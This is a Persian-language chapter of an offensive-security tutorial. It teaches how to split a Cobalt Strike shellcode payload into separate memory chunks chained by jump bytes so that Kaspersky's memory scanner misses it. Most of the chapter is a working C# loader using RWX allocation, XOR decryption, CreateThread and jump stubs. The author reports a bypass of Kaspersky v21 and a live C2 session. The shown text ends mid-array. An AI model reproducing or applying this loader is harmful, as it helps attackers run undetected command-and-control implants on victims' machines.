Chapter 4 : Executing Native Codes in Local Process (Part3)

4.3 Chunking CobaltStrike Payloads + Jump Method

بنام خدا

دراین بخش 3 از فصل چهارم تکنیکی را بررسی می کنیم برای Chunk کردن Payload ها یا جدا کردن Payload ها را بررسی می کنیم.
با کمک این روش جداکردن Payload در Memory شما مشاهده خواهید کرد که چگونه Kaspersky دورزده می شود .
 
در این تکنیک برای جدا کردن CobaltStrike در Memory من از Jump Method کمک گرفتم تا Payload خود را در
Memory بصورت جداگانه اجرا کنیم یعنی بخش اول Payload اجرا می شود در Memory در Address A سپس
کد Jump می کند به بخش دوم Payload در Memory و آن را اجرا می کند اما چرا ما این کار را می کنیم؟ 
برای اینکه با این کار برخی آنتی ویروسها در زمان چک کردن Memory بدلیل اینکه Payload ما به دو بخش یا چند بخش
تقسیم شده در Memory آن را نمی توانند Detect کنند و کد ما اجرا می شود بدون آنکه شناسایی شود .
در اینجا من CobaltStrike Payload را به دو بخش تقسیم کرده ام اما اگر بخواهید آن را به بخشهای بیشتری تقسیم کنید باید
کمی با Shell کد موجود در Payload آشنا باشید و بدانید که چگونه می تواند آن را به چندین بخش تقسیم کرد و نمی توان از هرجای
Payload که خواستید آن را تقسیم کنید و اینکار معمولا جواب نمی دهد و به مشکل می خورید برای همین من آن را به 2 بخش تقسیم کرده ام .
 
Chunking Payloads in-memory + Jump Method
در اینجا باید کمی در مورد اینکه چگونه یک Payload را می توانید به 2 بخش تقسیم کرد صحبت کنیم .
برای Chunk کردن یک Payload بکمک Jump Method شما می توانید مراحل زیر را انجام دهید .
اول دقیق مشخص کنید از کدام بخش Payload می خواهید آن را تقسیم کنید سپس هر بخش از Payload
را در Memory بصورت جداگانه Write کنید که در این کد من از VirtualAllocExNuma برای اختصاص دادن
فضا در Memory استفاده کرده ام و از RtlMoveMemory برای Write کردن بر روی Memory استفاده کرده ام
درنتیجه در کد من از API هایی استفاده کرده ام که ممکن می باشد موجب Detect شدن کد شود اما در ادامه
مشاهده می کنید با اینکه از این توانبع استفاده شده کد من توسط Kaspersky v21 با آخرین Update شناسایی نمی شود
در مرحله بعد بعد از Write کردن هر دو بخش Payload در Memory در آدرسهای جداگانه شما نیاز دارید که بخش اول
Payload شما بتواند بعد از اجرا شدن رجوع کند به بخش دوم یا Section 2 of Payload برای اجرا درنتیجه شما
نیاز دارید در بخش یک Payload در آخر آن یکسری Byte Array اضافه کنید که کار Jump کردن از بخش 1 به بخش 2 را
برای شما در Memory انجام دهد یعنی بخش یک زمانی که در Memory اجرا شد در آخر کد آن بصورت خودکار کد Jump می کند
به اول بخش 2 از Payload که در آدرسی متفاوت در Memory نوشته شده در نتیجه هر 2بخش به ترتیب اجرا شده در Memory
و اگر همه چیز درست انجام شود شما باید Session را در طرف CobaltStrike داشته باشید .
 
در اینجا یک مثال مشاهده می کنید تا کمی بهتر متوجه Background کار شوید :

Cobaltstrike payload: FC 48 83 E4 F0 E8 C8 00 00 00 41 41 41 50 52 AF AA BB CC DD EE FF 11 22 33 44 55 66 77

 
Chunking Payloads step1

In-memory Section 1 Address [0x1CC0080]: FC 48 83 E4 F0 E8 C8 00 00 00 41 41 41 50 52 AF + JUMP Bytes to address Section 2 [0x1CE0080]

In-memory Section 2 Address [0x1CE0080]: AA BB CC DD EE FF 11 22 33 44 55 66 77

همانطور که مشاهده می کنید ما یک CobbaltStrike Payload داریم که به دو بخش تقسیم شده با دو رنگ حالا
دقیقا می دانیم که اول و آخر هر بخش کجا می باشد در نتیجه این دو بخش را در Memory باید در آدرسهای متفاوت با
توابعی که داریم مانند VirtualAlloc یا VirtualAllocExNuma و ... یک فضایی در حافظه برای آنها در نظر بگیریم
سپس انها را توسط RtlMoveMemory یا WriteProcessMemory بر روی Memory نوشته تا اینجا مشکلی ما نداریم و همانند این کار
را در فصلهای قبلی انجام داده ایم.
 
Chunking Payloads step2
کاری که در این تکنیک ما باید اضافه کنیم به این کد این می باشد که در آخر بخش یک از Payload ما
باید یک Jump کد را به Payload اضافه کنیم تا درزمان اجرا کد بلافاصله پرش کند به بخش 2 .یعنی در بخش یک Payload بعد از Byte AF در آخر آن
باید Byte های Jump اضافه شود به Payload در Section 1 ما . که این Jump کد ما دارای آدرس بخش 2 از Payload در Memory می باشد .
برای این کار من از Jump Method B8 00 00 00 00 FF E0 استفاده کرده ام در نتیجه ما چیزی مانند کدهای زیر را داریم برای این مثال
 

In-memory Section 1 Address [0x1CC0080]: FC 48 83 E4 F0 E8 C8 00 00 00 41 41 41 50 52 AF B8 80 00 CE 01 FF E0

In-memory Section 2 Address [0x1CE0080]: AA BB CC DD EE FF 11 22 33 44 55 66 77

همانند مثال بالا کد Section1 در زمان اجرا وقتی به قسمت آبی رنگ B8 برسد پرش می کند به آدرسی که در چهار بایت بعدی آن مشخص شده
که همان بخش دوم یا Section2 ما می باشد از Payload و در آخر با اجرای این تکنیک شما می توانید Session را در CobaltStrike داشته باشید
و این روش همانند این می باشد که همه Payload را در یک Section در Memory نوشته باشیم اما در حقیقت در 2 آدرس جدا در Memory
ما این Payload ها را نوشته ایم با این کار شما دارای Payload های تقسیم شده در Memory می باشید در نتیجه Signature های Payload های شما
با Signature یک Payload کامل که برای CobaltStrike می باشد یکسان نمی باشد در Memory و این کار می تواند به شما کمک کند برخی
آنتی ویروسها و Memory Scanner های آنها را Bypass کنید در زمانی که این بخشهای Payload شما را در آدرسهای متفاوت Scan می کنند .
 
در این روش ما 2 Payload داریم که به ترتیب اجرا می شوند در Memory و در 2 آدرس جداگانه 0x1CC0080 و 0x1CE0080 نوشته شده اند .
در نتیجه برخی Memory Scanner ها توسط این روش دور زده می شوند اما اگر کل Payload در یک Section می بود مطمنا Detect می شد
توسط Memory Scanner ها بدلیل اینکه Signature کدهای ما با DataBase آنها یکسان می بود و در نتیجه کد شناسایی میشد اما در این حالت
امکان خطای Memory Scanner ها بالا می باشد و معمولا Bypass می شوند اما نمی توان با اطمینان این را برای همه آنتی ویروس ها گفت
برخی ممکن می باشد Payload را در Memory شناسایی نکنند اما کد شما را بر روی Harddisk شناسایی کند که اجرا شده به عنوان کدی مخرب
و برخی ممکن می باشد که این تکنیک را کلا شناسایی نکنند اما زمانی که در شبکه Network connection بین Process شما با Cobaltstrike
برقرار می شود آن ترافیک را بعنوان ترافیک آلوده یا مخرب شناسایی کنند و الی آخر درنتیجه بر روی تک تک آنتی ویروسها باید این نوع کدها
تست شود تا روشهای برخود آنها را بررسی کنید جداگانه .
 
برای اجرای کد در Section1 ما نیاز داریم که کد آن را توسط CreateThread اجرا کنیم یا روش بهتر این می باشد که از یک
Jump دیگه استفاده کنیم برای اجرا Section1 . من در کد مربوط به این بخش هر دو کار را با هم انجام داده ام یعنی یک
Byte Array از کد Jump به آدرس Section 1 را بر روی Memory نوشته ام سپس آن را با CreateThread اجرا کرده ام
در نتیجه مشاهده می کنید که کد من بسیار ریسکی می باشد و احتمال Detect شدن آن بالا می باشد توسط آنتی ویروسها
برای  اینکه از توابعی همانند CreateThread و ... استفاده کرده ام اما مشاهده خواهید کرد با این حال کد من کار می کند و Kaspersky دور زده می شود.
و به این دلیل می باشد که در زمان Scan کردن Memory آنتی ویروس Kaspersky متوجه نمی شود که Payload تقسیم شده و
دارای Signature یکسان با DB خود نمی بیند Payload های ما را در Memory در نتیجه Bypass می شود.
 
 

Picture 1

 
در شکل 1 مشاهده می کنید در بخشی که به رنگ آبی اشاره شده در آدرس 0x01cb0080 ما یک Byte array داریم با
با این بایتها F9 F9 F9 B8 80 00 CC 01 FF E0 زمانی که این بایتها توسط CreateThread اجرا شوند کد شما پرش می کند
به آدرس قرمز رنگ در این بایتها که آدرس بصورت برعکس در این آرایه نوشته شده یعنی آدرس ما می باشد 0x1CC0080 
در نتیجه این آدرسی می باشد که بعد از اجرا این کد توسط CreateThread به آن Jump می شود برای ادامه اجرای کد .
و این آدرس همان آدرس Section 1 ما می باشد که در شکل 1 مشاهده می کنید که با رنگ قرمز مشخص شده در شکل 1 .
در آدرس خانه 0x1CC0080 در خانه 80 این آدرس مشاهده می کنید که بایتهای FC 48 83 E4 و الی آخر که همان Section1 ما می باشد.
 

In-memory Section 1 Address [0x1CC0080]: FC 48 83 E4 F0 E8 C8 00 00 00 41 41 41 50 52 AF + JUMP Bytes to address Section 2 [0x1CE0080]

 
در مرحله بعد Section1 ما اجرا می شود یعنی FC 48 83 E4 F0 E8 C8 00 00 00 41 41 41 50 52 AF  در Memory اجرا می شود تا
اجرای کد ما برسد به آخرین بایت ما که در این مثال AF می باشد البته AF یک مثال می باشد و در واقعیت Payload شما بسیار بیشتر از این
چند بایت می باشد و این فقط برای مثال می باشد و ممکن می باشد بایت آخر شما در مثال واقعی بایت AF نباشد این نکته باید گفته می شد که
موجب اشتباه نشود. سپس همانطور که در مرحله Chunking Payloads step2 گفته شد زمانی که اجرای کد به بایت آخر بخش اول رسید کد یک Jump دیگر
دارد به بخش دوم یا Section2 برای Payload تا کامل CobaltStrike Payload در حافظه اجرا شود.
همانند شکل 1 کد Section1 که در تصویر مشخص می باشد و با FC 48 83 E4 شروع شده ادامه دارد و دراخر آن Jump bytes ما
به ادرس بخش دوم اضافه شده یعنی B8 80 00 CE 01 FF E0 به آن اضافه شده البته در شکل 1 مشخص نمی باشد
 

In-memory Section 1 Address [0x1CC0080]: FC 48 83 E4 F0 E8 C8 00 00 00 41 41 41 50 52 AF B8 80 00 CE 01 FF E0

In-memory Section 2 Address [0x1CE0080]: AA BB CC DD EE FF 11 22 33 44 55 66 77

 
در این مرحله بعد از Jump به ادرس 0x1CE0080 کد AA BB CC DD EE FF 11 22 33 44 55 66 77 اجرا می شود و CobaltStrike Payload بصورت کامل
در Memory اجرا می شود با اینکه در 2 بخش جداگانه نوشته شده بود و اگر همه مراحل به درستی انجام شود شما باید در CobaltStrike یک New Session
داشته باشید.
 
درشکل 2 شما می توانید مشاهده کنید اجرای کد و مراحل اجرا آن را در شکل مشاهده می کنید
که Kaspersky v21 توسط این روش Bypass شده.
 

Picture 2

 
در شکل 2 مشاهده می کنید که کد کار کرده و Kaspersky v21 با آخرین Update دور زده شده
 
 
در شکل 3 ما اجرای کد را با Detail بیشتر داریم در اینجا شما می توانید مشاهده کنید 
مراحل اجرای کد را Step by step :
 
 

Picture 3

مراحل در شکل 3 کاملا مشخص می باشد
 
نکته : قبل از شرح دادن مراحل شکل 3 در زیر این نکته باید گفته شود که Memory Section هایی که در زیر در مورد آنها
صحبت می شود باید در Memory دارای Protection Mode Execute + Read حداقل باشند اما من در کد آنها
را در حالت RWX دارم که ReadWrite + Excute می باشند.
 
 
1. در این مرحله یک CreateThread داریم که در آن Byte Array F9 F9 F9 B8 00 00 4C 01 FF E0 اجرا می شود.
 
2. سپس بعد از اجرای مرحله 1 کد ما Jump می کند به آدرس 0x14C0000 و در خانه 80 آن یک کد Jump می باشد
 
3. در این مرحله کد در آدرس 0x14C0000 اجرا می شود که یک Jump دیگر می باشد به آدرس Section1 of Cobaltstrike Payload
آدرس Section1 ما در اینجا 0x14D0080 می باشد یعنی در خانه 80 این آدرس Payload ما شروع شده که همان بخش اول
Payload ما می باشد برای اجرا در نتیجه بعد Jump شدن به آن آدرس کد آن Payload شروع به اجرا می کند و بخش اول یا Section1 ما اجرا می شود
 
4. در آخر مرحله 3 ما یک کد Jump دیگر به Section1 اضافه کرده ایم که به آدرس Section2 ما Jump کند همانطور که در شکل 3 مشاهده می کنید .
و این آدرس را با اضافه کردن Byte array F9 F9 F9 B8 80 00 4E 01 FF E0 به آخر Section1 ایجاد کرده ایم .
در این مرحله در آخر Section1 کد ما پرش می کند به Section2 و در آدرس 0x14E0080  که در خانه 80 آن Section2 ما برای Cobaltstrike Payload
وجود دارد و ادامه اجرای کد ازاین بخش ادامه پیدا می کند تا به آخر Section2 برسد که همان آخر Payload ما می باشد.
 
در نتیجه در آخر مشاهده می کنید با اینکه ما CobaltStrike Payload را به دو بخش Section1 & Section2 تقسیم کرده ایم با این
تکنیک توانستیم آنها را در Memory به ترتیب اجراکنیم و در آخر New Session در CobaltStrike بگیریم و Kaspersky v21 این
روش را شناسایی نکرد و Bypass شد.
 
در این کد ما چیزی مانند این مراحل در Memory برای Jump کردن بین Memory Address ها داشتیم :
 

Jump to Memory Addresses:

1.Init code to run by CreateThread [0x1D390000] jump to [0x14C0080] jump to [0x14D0080] jump to [0x14E0080]

 

Payload Section1 [0x14D0080]

Payload Section2 [0x14E0080]

 
نکته: خود این مورد که شما دو jump قبل از پرش به Section1 دارید می تواند کمک کننده باشد برای
گیج کردن برخی آنتی ویروسها .
 
در شکل 4 شما می توانید مشاهده کنید که کد اجرا شده و Kaspersky v21 + update 2023/08/26 نتوانسته این
تکنیک را شناسایی کند.
 
 
 
 

Picture 4

 
در شکل 4 مشاهده می کنید که یک Thread در حالت Suspend می باشد دلیل آن در کد می باشد.
این نکته باید شرح داده شود در کد مربوط به این بخش 3 از فصل 4 من در آن یک روشی را تست کرده ام
 
در کد زیر می توانید مشاهده کنید که من Encrypted_Payload را بدون اینکه decrypt کنم توسط xor Method آنرا در
Memory توسط RtlMoveMemory در حافظه نوشته ام و یک CreateThread از آن ساخته ام در حالت Suspend
چرا حالت Suspend ایجاد شده در تصور4 بدلیل اینکه من در CreateThread از 0x00000004 بجای 0x0 استفاده کرده ام
 

              string Payload_Encrypted = "236 88 147 244 224 248 220 16 16 16 81 65 81 64 66 88 33 194 ...";

              string[] Payload_Encrypted_Without_delimiterChar = Payload_Encrypted.Split(' ');
                byte[] _X_to_Bytes = new byte[Payload_Encrypted_Without_delimiterChar.Length];
                for (int i = 0; i < Payload_Encrypted_Without_delimiterChar.Length; i++)
                {
                    byte current = Convert.ToByte(Payload_Encrypted_Without_delimiterChar[i].ToString());
                    _X_to_Bytes[i] = current;
                }
                IntPtr ProcessHandle2 = OpenProcess(0x001F0FFF, false, System.Diagnostics.Process.GetCurrentProcess().Id);
                Console.WriteLine();
                uint AddressOfPayload_In_Mem = VirtualAllocExNuma(ProcessHandle2, IntPtr.Zero, (uint)_X_to_Bytes.Length, 0x1000, 0x40, 0);
                RtlMoveMemory(AddressOfPayload_In_Mem, _X_to_Bytes, (uint)_X_to_Bytes.Length);
                Console.WriteLine("[!] Encrypted payload write to Part2 [startaddr + part2] for MemoryAddress of Thread.Result["

+ (AddressOfPayload_In_Mem + ((uint)_X_to_Bytes.Length / 2)).ToString("X8") + "]");
                Console.WriteLine("[!] Encrypted payload write to Part1 [startaddr] for MemoryAddress of Thread.Result["

+ (AddressOfPayload_In_Mem).ToString("X8") + "]");
                Console.WriteLine("[!] New Thread will Create with StartAddress VirtualAlloc.Result["

 + AddressOfPayload_In_Mem.ToString("X8") + "]");
                IntPtr hThread = IntPtr.Zero; UInt32 threadId = 0; IntPtr pinfo = IntPtr.Zero;
                VirtualProtectEx(ProcessHandle2, (IntPtr)AddressOfPayload_In_Mem, (UIntPtr)_X_to_Bytes.Length, 0x04, out uint _);
                Console.WriteLine("[!] Protection Mode in Memory set to 0x20 Read_Execute, StartAddress.Result["

+ AddressOfPayload_In_Mem.ToString("X8") + "]");
                /// execute native code in memory via create local thread
                hThread = CreateThread(0, 0, (IntPtr)AddressOfPayload_In_Mem, pinfo, 0x00000004, ref threadId);

 

 
دلیل اینکه من در حالت Suspend یک Payload کامل از CobaltStrike را بصورت Encrypt شده در Thread قرار داده ام
این می باشد که Anti-virus مد نظر خودم را تست کنم آیا وقتی یک New Thread در حالت Suspend ایجاد می شود
آن را چک می کند اگر بله چه واکنشی انجام می دهد وقتی مقدار درون New Thread بصورت Encrypt باشد و نه Decrypt
و آیا زمانی که یک New Thread در حالت Suspend مشاهده کرد و چیزی تشخیص نداد دیگر به موارد دیگری که ممکن
می باشد مخرب باشد در Memory توجه می کند یا خیر بدلیل اینکه تستهای ما بر روی AV ها بصورت Black Box می باشد
و ما Source های آنتی ویروس ها را نداریم تمامی مواردی که به ذهن شما می رسد باید در حالتهای مختلف بر روی تک تک
آنتی ویروس ها تست شود تا شما دیدی از آنها بدست آورید و همچنین ببینید آیا ایده شما جواب می دهد یا خیر . من می توانم همین کد
که در Code 4.3 مشاهده می کنید را بدون انجام این تکه کد بالا نیز انجام دهم و ببینم آیا تفاوتی در Detection می کند یا باز هم
Kaspersky v21 دور زده می شود اگر نتیجه یکسان بود متوجه می شوم تا حدودی که این ایده من خیلی کار مهمی در ایجاد واکنش درست یا
اشتباه آنتی ویروس نداشته اما اگر مشاهده کردم که نبودن این کد موجب می شود آنتی ویروس روش Chunking Payload من را شناسایی کند
آنوقت متوجه می شوم که این کد تاثیر دارد و بیشتر بر روی آن تمرکز می کنم که دقیقا این ایده چرا کار کرده و الی آخر و شما باید این
مورد را در نظر داشته باشید که برنامه نویسان شرکتهای آنتی ویروس افرادی می باشند همانند من و شما و آنها نیز مشکلاتی
در کدهایشان وجود دارد و حتما Bug دارند همانند کد من و شما در نتیجه چون ما این موارد را نمی دانیم باید آنها را بصورت Black box تست
کنیم و ایده های خود را در کدهای مختلف تست کنیم تا چیزی از درون آنها پیدا کنیم در نتیجه من این تست را انجام دادم تا ببینم واکنش
آنتی ویروس مد نظر خود را در مورد این New Thread در حالت Suspend و به دلیل اینکه ما می دانیم معمولا Suspend Thread
برای روشهایی از حمله استفاده می شود در نتیجه استفاده از آن ریسک بالا دارد بر روی برخی از Anti-virus ها حتی اگر Payload شما Encrypt باشد
و شما New Thread را در کد Resume نکنید.
 

Picture 5

 
در شکل 5 مشاهده می کنید Section ها ما در Memory که دارای Protection Mode RWX می باشند و کد بخوبی کار کرده
و توسط Kaspersky v21 این مورد شناسایی نشده.
 
مواردی در این کد می باشد که من باید شرح بدم اما کل کد را خط به خط توضیح نمیدم به این دلیل که
من فکر می کنم شما باید اول تمامی فصلهای گذشته را بخوبی یاد گرفته باشید تا این کد را متوجه شوید و اگر شما فصلهای
قبلی را متوجه نشده باشید کدهای زیر را نمی توانید متوجه شوید در نتیجه هدف من این می باشد که دانشجو کمی خودش تلاش کند کد را
بخواند و متوجه آن شود با توجه به مواردی که من در این کتاب در فصلهای قبلی آموزش داده ام شما می توانید این کار را بکنید خودتان
و اگر این کار را توانستید انجام دهید این یعنی که شما خوب مطالب را متوجه شده اید .
 
یکی از مواردی که من در کد نوشته ام و کمی جدید می باشد استفاده از F9 می باشد در Byte ها که اگر ساده بگم هیچ کاری انجام نمی دهد و فقط از آن برای
پرکردن Memory استفاده کرده ام تا Payload های من یا Byte array های من که می خواهم در Memory اجرا شوند در خانه آدرسهای متفاوتی ایجاد شود
و دقیقا Byte های کد های Jump من در اول StartAddress نباشند برای مثال اگر 0x1CE0000 آدرس شروع من باشد اول آن را با این آرایه OPSX پر می کنم و بعد
بایتهای Jump خود را می نویسم در نتیجه ممکن می باشد از خانه 80 آدرس 0x1CE0080 کد واقعی من شروع شود همانند شکل 5.

byte[] opsx = new byte[] {0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9,...}

 

RtlMoveMemory(jmpaddr_uintaddress[0], opsx,(uint) opsx.Length);
RtlMoveMemory(jmpaddr_uintaddress[0]+ (uint)opsx.Length, jmpaddr_execution_jmp_code[1], (uint)chunk_Final_Payload2.Length);

 
در واقع اول با این کد خانه های اول آن آدرس را پر می کنم با بایتهای F9 :

RtlMoveMemory(jmpaddr_uintaddress[0], opsx,(uint) opsx.Length);

 
سپس توسط این کد از آن آدرس پر شده به بعد شروع به نوشتن Byte های مربوط به Jump خود می کنم و ....

RtlMoveMemory(jmpaddr_uintaddress[0] + (uint)opsx.Length, jmpaddr_execution_jmp_code[1], (uint)chunk_Final_Payload2.Length);

 
نکته: البته این دو خط کد دقیقا مربوط به آن تصور 5 نمی باشد اما کدها یک شکل می باشند و نتیجه دقیقا یکسان همانند شکل 5 فقط ممکن می باشد
کد اضافه شده بعد از F9 ها متفاوت باشد.
 
موارد دیگری در کد نمی باشد که جدید باشد و من امیدوارم با توضیحاتی که در فصلهای قبلی دادم بتوانید این کد را متوجه شوید خط به خط
و بعد از متوجه شدن آن خود آن را بنویسید و ایده های خود را به آن اضافه کنید و این کار سخت نمی باشد فقط کمی تلاش و تمرین می خواهد.
و یادتان باشد اگر شما درگیر کد نشوید شما نمی توانید کد را متوجه شوید و هدف من این می باشد که شما واقعا کد را بفهمید و کپی و پیست کار نباشید.
 
توصیه من به شما استفاده از Breakpoint در VS.NET 2019 می باشد برای خط به خط این کد  و نگاه کردن به مقدار متغیر ها
تا بهتر متوجه شوید کد دقیقا چگونه کار می کند.
 
C# Code 4.3
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;

namespace NativePayload_LocalCreateThread7
{
    class Program
    {
        static void Main(string[] args)
        {
            new System.Threading.Thread(() =>
            {

              
                string Payload_Encrypted = "236 88 147 244 224 248 220 16 16 16 81 65 81 64 66 88 33 194 ...";
                string[] Payload_Encrypted_Without_delimiterChar = Payload_Encrypted.Split(' ');
                byte[] _X_to_Bytes = new byte[Payload_Encrypted_Without_delimiterChar.Length];
                for (int i = 0; i < Payload_Encrypted_Without_delimiterChar.Length; i++)
                {
                    byte current = Convert.ToByte(Payload_Encrypted_Without_delimiterChar[i].ToString());
                    _X_to_Bytes[i] = current;
                }
                IntPtr ProcessHandle2 = OpenProcess(0x001F0FFF, false, System.Diagnostics.Process.GetCurrentProcess().Id);
                Console.WriteLine();
                uint AddressOfPayload_In_Mem = VirtualAllocExNuma(ProcessHandle2, IntPtr.Zero, (uint)_X_to_Bytes.Length, 0x1000, 0x40, 0);
                RtlMoveMemory(AddressOfPayload_In_Mem, _X_to_Bytes, (uint)_X_to_Bytes.Length);
                Console.WriteLine("[!] Encrypted payload write to Part2 [startaddr + part2] for MemoryAddress of Thread.Result[" 
+ (AddressOfPayload_In_Mem + ((uint)_X_to_Bytes.Length / 2)).ToString("X8") + "]");
                Console.WriteLine("[!] Encrypted payload write to Part1 [startaddr] for MemoryAddress of Thread.Result[" 
+ (AddressOfPayload_In_Mem).ToString("X8") + "]");
                Console.WriteLine("[!] New Thread will Create with StartAddress VirtualAlloc.Result[" +
 AddressOfPayload_In_Mem.ToString("X8") + "]");
                IntPtr hThread = IntPtr.Zero; UInt32 threadId = 0; IntPtr pinfo = IntPtr.Zero;
                VirtualProtectEx(ProcessHandle2, (IntPtr)AddressOfPayload_In_Mem, (UIntPtr)_X_to_Bytes.Length, 0x04, out uint _);
                Console.WriteLine("[!] Protection Mode in Memory set to 0x20 Read_Execute, StartAddress.Result[" 
+ AddressOfPayload_In_Mem.ToString("X8") + "]");
                /// execute native code in memory via create local thread
                hThread = CreateThread(0, 0, (IntPtr)AddressOfPayload_In_Mem, pinfo, 0x00000004, ref threadId);
                Console.WriteLine("[!] New Thread Created with ThreadId.Result[" + Convert.ToInt32(threadId) + "]");
                Console.WriteLine("[!] New Thread Created with HandleAddress_of_Thread.Result[" + hThread.ToString("X8") + "]");
                Console.WriteLine("[!] first, section two [part2] of encrypted payload will decrypt in Memory");
                Console.WriteLine("[!] after delay, then section one [part1] of encrypted payload will decrypt in Memory");

               // System.Threading.Thread.Sleep(30000);
                /////
                VirtualProtectEx(ProcessHandle2, (IntPtr)AddressOfPayload_In_Mem, ((UIntPtr)_X_to_Bytes.Length), 0x04, out uint _);
                byte[] cunck_Payload_Encrypted_Without_delimiterChar2 = new byte[_X_to_Bytes.Length];
                ReadProcessMemory(Process.GetCurrentProcess().Handle, AddressOfPayload_In_Mem,
                 cunck_Payload_Encrypted_Without_delimiterChar2, cunck_Payload_Encrypted_Without_delimiterChar2.Length, IntPtr.Zero);
                byte[] chunk_Final_Payload2 = Xor(cunck_Payload_Encrypted_Without_delimiterChar2, new byte[] { 0x10 });
                List<byte[]> all_chunks = new List<byte[]>();
                Int32 counter = 0;
                uint AddressOfPayload_In_MemX = 0;
                byte[] tmp = new byte[10] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
                int ctr = 0;
                int currentid = 0;
                foreach (var item in chunk_Final_Payload2)
                {
                    if (ctr <= 9)
                    {
                        tmp[ctr] = item;

                        ctr++;
                        currentid++;
                    }
                    else
                    {
                        all_chunks.Add(tmp);
                        ctr = 0;
                        tmp = new byte[10] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
                        tmp[ctr] = item;

                        ctr++;
                        currentid++;
                    }
                   
                    
                }
 
                uint chunk_addr00 = AddressOfPayload_In_Mem + ((uint) 700);
                byte[] jmpBytes0 = new byte[] { 0xf9, 0xf9, 0xf9, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xff, 0xe0 };
                byte[] addressBytes0 = BitConverter.GetBytes((int)chunk_addr00);
                jmpBytes0[4] = addressBytes0[0];
                jmpBytes0[5] = addressBytes0[1];
                jmpBytes0[6] = addressBytes0[2];
                jmpBytes0[7] = addressBytes0[3];
                RtlMoveMemory(AddressOfPayload_In_Mem, jmpBytes0, (uint)jmpBytes0.Length);
                bool init = false;
                uint xadr = 0;
                xadr += AddressOfPayload_In_Mem + ((uint)700);
                uint next_address = 0;
                bool initaddress = true;
                uint initaddressDetected = 0;
                int numberofpayload = 0;
                List<byte[]> jmpaddr_execution_jmp_code = new List<byte[]>();
                List<uint> jmpaddr_uintaddress = new List<uint>();
                foreach (byte[] item in all_chunks)
                {                 
                    AddressOfPayload_In_MemX = VirtualAllocExNuma(ProcessHandle2, IntPtr.Zero, (uint)item.Length, 0x1000, 0x40, 0);
                   
                    
                    byte[] _jmpBytes_run = new byte[] { 0xf9, 0xf9, 0xf9, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xff, 0xe0 };
                    byte[] _addressBytes0_run = BitConverter.GetBytes((int)AddressOfPayload_In_MemX + (uint)128);
                    _jmpBytes_run[4] = _addressBytes0_run[0];
                    _jmpBytes_run[5] = _addressBytes0_run[1];
                    _jmpBytes_run[6] = _addressBytes0_run[2];
                    _jmpBytes_run[7] = _addressBytes0_run[3];

                    jmpaddr_execution_jmp_code.Add(_jmpBytes_run);
                    jmpaddr_uintaddress.Add(AddressOfPayload_In_MemX);
                   
                    RtlMoveMemory(AddressOfPayload_In_MemX, item, (uint)item.Length);
                    if (numberofpayload < 3) 
                    Console.WriteLine("[>] Injecting/setting Chunk Address via Jmp Bytes {0} ==> into Startaddress {1}, Msfvenom Payload Bytes[{2}...]" , 
BitConverter.ToString(_jmpBytes_run) , AddressOfPayload_In_MemX.ToString("x8")  , BitConverter.ToString(item));
                    if (initaddress)
                    {
                        initaddressDetected = AddressOfPayload_In_MemX;
                    }
                    numberofpayload++;
                    if(numberofpayload == all_chunks.Count)
                    {
                        //0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5
                        RtlMoveMemory(AddressOfPayload_In_MemX +
 (uint)item.Length, new byte []{ 0x59, 0x49, 0xc7, 0xc2, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5 }, (uint)10);
                    }
                    initaddress = false;
                  
                }

                for (int i = 0; i < jmpaddr_uintaddress.Count; i++)
                {
                    if (i == 49) break;
                    RtlMoveMemory(jmpaddr_uintaddress[i] + (uint) 10, jmpaddr_execution_jmp_code[i + 1], 10);
                }
                Console.WriteLine("[!] Memory Address Detected to Init to run Result.[{0}", initaddressDetected.ToString("x8")+"]");                
              
                VirtualProtectEx(ProcessHandle2, (IntPtr)AddressOfPayload_In_Mem, ((UIntPtr)_X_to_Bytes.Length), 0x04, out uint _);
                Console.WriteLine("[!] Protection Mode in Memory set to 0x04 Read_Write, StartAddress.Result[" 
+ AddressOfPayload_In_Mem.ToString("X8") + "]");
                System.Threading.Thread.Sleep(2500);                               
                Console.WriteLine("[!] Decrypted/write via read Part1 for MemoryAddress of Thread.Result[" 
+ (AddressOfPayload_In_Mem).ToString("X8") + "]");                
                VirtualProtectEx(ProcessHandle2, (IntPtr)AddressOfPayload_In_Mem, (UIntPtr)_X_to_Bytes.Length, 0x40, out uint _);
                Console.WriteLine("[!] Protection Mode in Memory set to 0x40 Read_Write_Execute, StartAddress.Result[" 
+ AddressOfPayload_In_Mem.ToString("X8") + "]");
                System.Threading.Thread.Sleep(6000);
                uint initrun = jmpaddr_uintaddress[0];
                byte[] jmpBytes_run = new byte[] { 0xf9, 0xf9, 0xf9, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xff, 0xe0 };
                byte[] addressBytes0_run = BitConverter.GetBytes((int)initrun);
                jmpBytes_run[4] = addressBytes0_run[0];
                jmpBytes_run[5] = addressBytes0_run[1];
                jmpBytes_run[6] = addressBytes0_run[2];
                jmpBytes_run[7] = addressBytes0_run[3];
             
                uint inittorun = VirtualAllocExNuma(ProcessHandle2, IntPtr.Zero, (uint)jmpBytes_run.Length, 0x1000, 0x40, 0);
                Console.WriteLine("[>] New Thread Created to Init to Jump/Exec, with StartAddress Result.[{0}", inittorun.ToString("x8") + "]");
                RtlMoveMemory(inittorun, jmpBytes_run, (uint)jmpBytes_run.Length);
                byte[] opsx = new byte[] {0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 
0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9,
                0xf9,0xf9,0xf9,0xf9,0xf9,0xf9,0xf9,0xf9,0xf9,0xf9,0xf9,0xf9,0xf9,0xf9 ,0xf9, 0xf9, 
0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9,
